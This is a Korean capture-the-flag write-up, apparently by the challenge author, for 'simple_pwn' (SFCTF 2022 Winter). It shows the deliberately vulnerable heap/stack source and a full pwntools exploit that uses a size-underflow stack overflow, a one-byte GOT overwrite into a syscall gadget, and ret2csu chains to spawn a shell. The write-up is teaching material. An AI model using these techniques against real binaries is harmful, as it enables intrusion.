SFCTF 2022 Winter - simple_pwn
보호 기법이 약하게 걸려 있다. PIE가 안 걸려 있고, canary도 없다.
partial RELRO 상태이기 때문에, GOT overwrite도 할 수는 있다.
위 바이너리는 https://github.com/brwook/binary에서 다운로드할 수 있다.
문제 분석
Dreamhack의 시스템 해킹 강의 중에서 Type Error 강의를 듣다가 만들어진 문제이다. malloc에는 size+1을 인자로 할당하고, read는 size만큼 입력을 할 수 있는 코드였는데, size의 자료형이 int였으면 아주 쉽게 -1을 입력하면, 버퍼 오버플로우가 발생할 것을 예측할 수 있었을 것이다. 그러나, size가 unsigned int였기 때문에, -1을 입력할 수 있을 거란 생각이 전혀 들지 않았다. 그리고, 강의에서 설명하길 4294967295이라는 unsigned int의 최댓값을 입력하면, 같은 작용이 발생한다는 것에 사소한 변화지만 뒤통수를 좀 세게 맞은 듯한 느낌이 들어서, 이를 공유하고 싶어 문제로 만들었다.
아래는 simple_pwn에서 제공하는 4개의 기능(add, view, edit, delete) 중 add에 해당하는 부분이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
struct chunk
{
int idx;
unsigned size;
char *msg;
struct chunk *prev;
};
struct chunk *HEAD;
void add()
{
unsigned long long size;
long long read_size;
char buf[0x100];
...
printf("size > ");
size = read_int();
if(size > 0x100)
{
puts("[*] size error");
return;
}
printf("msg > ");
read_size = read(0, buf, size);
buf[read_size] = '\0';
struct chunk *ptr = (struct chunk *)malloc(sizeof(struct chunk));
if(!ptr)
{
puts("[*] malloc error");
return;
}
ptr->idx = i;
ptr->size = read_size;
s_msg = (char *)malloc(read_size);
if(!s_msg)
{
puts("[*] malloc error");
return;
}
...
}
최대 0x100만큼 스택 버퍼에 작성을 한 뒤에, 실제 작성한 바이트만큼만 힙으로 할당해 저장한다는, 나름 메모리를 아낀다는 컨셉으로 ‘어쩔 수 없이’ 스택을 사용해야 했다…라는 연유를 만들어 주려고 했다. 또한, 한 가지 함수에서, 특히, 새로운 힙의 size를 입력하는 부분에서 바로 취약점을 보여주긴 싫었다. 일단, 0부터 0x100까지 원하는 크기의 힙 청크를 할당할 수 있다는 것에 주목하자.
1
2
3
4
5
6
7
8
9
10
11
12
13
void edit()
{
long long i;
struct chunk *ptr;
char buf[0x100];
...
unsigned long long int read_size = read(0, buf, ptr->size - 1);
buf[read_size - 1] = '\0';
ptr->size = read_size;
memcpy(ptr->msg, buf, read_size);
}
정말 취약점이 터지는 부분은 edit 함수이다. 굳이… 기존 메시지의 size에서 1을 뺀 크기를, 굳이… 스택에 위치한 buf에 쓴 다음에 이를 다시 힙에 복사한다.
즉, ptr->size가 0이면, 스택 버퍼 오버플로우가 발생하고, canary도 존재하지 않기 때문에 RIP 조작이 가능하다.
그런데, 여기서 canary가 존재할 수가 없는 이유가 하나 있었는데,
그것은 바로, 출력 스트림을 해제했기 때문이다.
sub_400C24는 while 반복문 이전에 main 함수에서 가장 먼저 호출되는 함수인데, 위 함수를 보면 close(1)이 되어 있기 때문에, 바로 아래에서 puts 함수로 문자열을 출력해도, 사용자는 이를 읽을 수 없다. 이 때문에 올바른 문제 풀이(stack BOF)로 가려면, canary가 세팅되어 있으면 안 됐다.
그렇다면 이는 어떻게 해결할까?
다시 말해, 출력이 안 되면, libc 주소는 어떻게 얻으며, 쉘은 어떻게 딸까?
여기서 내 나름대로 힌트를 남겼는데, “Simple ROP problem”에서 대문자만 따면 SROP이다. 그리고, 시스템 해킹 공격 기법 중에 하나로 Sigreturn Oriented Programming이 있다. 이걸 살짝 공부해 보면, syscall을 호출해서 쉘을 딸 수 있다는 것을 알 수 있다.
그러면, 다시 또 문제가 발생하는데, syscall은 어디에서 얻느냐?
여기서 Partial RELRO 보호 기법을 다시 살펴볼 필요가 있다. 즉, GOT overwrite가 가능하다. 우리는 libc leak을 할 수 없으므로, system 함수를 통째로 덮을 수는 없다. 그러나, 하위 1바이트는 덮어서 원하는 기능을 하도록 만들 수는 있다.
libc가 메모리에 할당될 때는, 페이지 단위(0x1000)로 이뤄진다. 따라서, 하위 2바이트까지 수정하면, 0x10번 중 1번으로 오차가 생길 수 있지만, 1바이트만큼 수정하는 것은 해당 함수를 기준으로 원하는 명령을 실행하도록 수정할 수 있다.
정리하자면, GOT overwrite를 통해, 특정 함수의 1바이트를 수정해서 syscall gadget으로 만들 수 있다면, libc leak을 하지 않고도 쉘을 딸 수 있을 것이다.
익스플로잇
sleep 함수의 바로 위에는 __waitid라는 함수가 존재한다. 그 속에 syscall도 함께 들어있는데, 이를 활용하였다.
즉, sleep_got(0x602070)의 하위 1바이트를 0x3E로 바꾼다면, syscall을 호출할 수 있게 된다.
또한, PIE가 걸려 있지 않기 때문에, 바이너리 코드를 원하는대로 이용할 수 있는데, 그중에서도 csu 가젯을 이용하면, 원하는 함수 호출이 가능하다. 관련된 정보는 구글에 “return to csu”라고 검색하면 여러 정보를 얻을 수 있을 것이다.
그래도 살짝 설명하자면, csu는 바이너리가 실행되는 과정에 있는 여러 함수 중 하나이며, 이를 이용하면 ROP를 할 때, 큰 도움을 받을 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
def ss(s):
sleep(0.1);
p.send(s)
def add(idx, size):
ss('1')
ss(str(idx))
ss(str(size))
def csu(first, second, third, func, toggle=0):
if(toggle):
pl = p64(init_csu)
pl += p64(0)*2 # rbx = 0
pl += p64(1)
pl += p64(func) # r12
pl += p64(third) # r13
pl += p64(second) # r14
pl += p64(first) # r15
pl += p64(chain_csu)
else:
pl = b"a"*8
pl += p64(0)
pl += p64(1)
pl += p64(func)
pl += p64(third)
pl += p64(second)
pl += p64(first)
pl += p64(chain_csu)
return pl
p = process('./simple_pwn', env={"LD_PRELOAD":"./libc-2.23.so"})
init_csu = 0x400D56
chain_csu = 0x400D40
sleep_got = 0x602070
read_got = 0x602040
bss = 0x602500
sleep(3)
add(1, 0)
ss('3')
ss('1')
payload = 'A'*0x108
payload += p64(0) + p64(0) + p64(0x6020b0 - 8)
payload += p64(bss)
payload += csu(0, sleep_got, 1, read_got, 1)
payload += csu(0, bss, 0x3b, read_got)
payload += csu(bss, 0, 0, sleep_got)
ss(payload)
ss('\x3e')
payload2 = ''
payload2 += '/bin/sh\x00'
payload2 += 'A'*(0x3b-len(payload2))
ss(payload2)
sleep(0.1)
p.sendline("sh 1>&2")
p.interactive()
csu 함수의 1, 2, 3번째 인자는 함수의 인자(rdi, rsi, rdx)를 의미하고, 4번째 인자는 참조해서 사용할 함수의 주소를 의미한다. 즉, read(0, sleep_got, 1); read(0, bss, 0x3b); sleep(bss, 0, 0);의 순서로 실행된다고 보면 된다.
여기서 굳이 “/bin/sh”만 입력하고 끝나는 것이 아니라, 0x3B만큼 꽉 채워서 입력을 마치는 이유는 read 함수의 반환 값(읽기 성공한 바이트수)이 rax 레지스터에 담기기 때문이고, 우리는 syscall(sleep_got)로 익스를 할 것이기 때문에, rax를 0x3b로 맞춰서 execve syscall을 호출할 것이기 때문이다. (x86-64 linux 기준)
익스플로잇 코드의 맨 아래에 p.sendline(“sh 1>&2”)가 있는 이유는 바로 이 때문이다. 쉘을 실행시켜도, 원래 프로세스가 close(1) 되어 있기 때문에, 입력한 것이 쉘에서 실행은 되지만, 결국 아무런 출력도 가져올 수 없다!
이때, 사용되는 것이 1>&2인데, 이는 stdout(1) stream을 stderr(2) stream으로 리다이렉트하여 사용한다는 뜻이다.
원래는 2>&1 처럼, 에러 메시지를 출력해서 보려고 활용했던 적이 있는 것 같은데, 더 자세한 정보는 스택오버플로우를 참조하면 좋을 것 같다.
어쨌든, “sh 1>&2”로 stdout을 stderr로 돌려서 쉘을 새로 열고나면, 출력을 확인할 수 있게 된다.